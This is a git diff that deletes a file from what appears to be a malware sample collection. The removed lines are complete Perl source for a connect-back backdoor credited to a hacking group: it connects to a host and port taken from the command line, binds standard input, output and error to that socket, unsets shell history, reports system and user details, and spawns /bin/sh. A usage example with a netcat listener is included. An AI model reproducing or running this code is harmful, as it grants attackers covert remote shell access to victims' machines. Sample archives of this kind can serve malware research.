diff --git a/Perl/Backdoor.Perl.RShell.b b/Perl/Backdoor.Perl.RShell.b deleted file mode 100644 index ac569465..00000000 --- a/Perl/Backdoor.Perl.RShell.b +++ /dev/null @@ -1,60 +0,0 @@ -use IO::Socket; -#WwW.CoM Security Hackers -#coded bY: MasterKid -#We Are: MasterKid, AleXutz, FatMan & MiKuTuL -#Email: muzicteam2006@yahoo.com -# -#kid@SlackwareLinux:/home/programing$ perl dc.pl -#--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- -# -#Usage: dc.pl [Host] [Port] -# -#Ex: dc.pl 127.0.0.1 2121 -#kid@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 -#--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- -# -#[*] Resolving HostName -#[*] Connecting... 127.0.0.1 -#[*] Spawning Shell -#[*] Connected to remote host - -#bash-2.05b# nc -vv -l -p 2121 -#listening on [any] 2121 ... -#connect to [127.0.0.1] from localhost [127.0.0.1] 32769 -#--== ConnectBack Backdoor vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- -# -#--==Systeminfo==-- -#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux -# -#--==Userinfo==-- -#uid=1001(lord) gid=100(users) groups=100(users) -# -#--==Directory==-- -#/root -# -#--==Shell==-- -# -$system = '/bin/sh'; -$ARGC=@ARGV; -print "--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- \n\n"; -if ($ARGC!=2) { - print "Usage: $0 [Host] [Port] \n\n"; - die "Ex: $0 127.0.0.1 2121 \n"; -} -use Socket; -use FileHandle; -socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; -connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; -print "[*] Resolving HostName\n"; -print "[*] Connecting... $ARGV[0] \n"; -print "[*] Spawning Shell \n"; -print "[*] Connected to remote host \n"; -SOCKET->autoflush(); -open(STDIN, ">&SOCKET"); -open(STDOUT,">&SOCKET"); -open(STDERR,">&SOCKET"); -print "--== ConnectBack Backdoor vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- \n\n"; -system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; -echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); -system($system); -#EOF \ No newline at end of file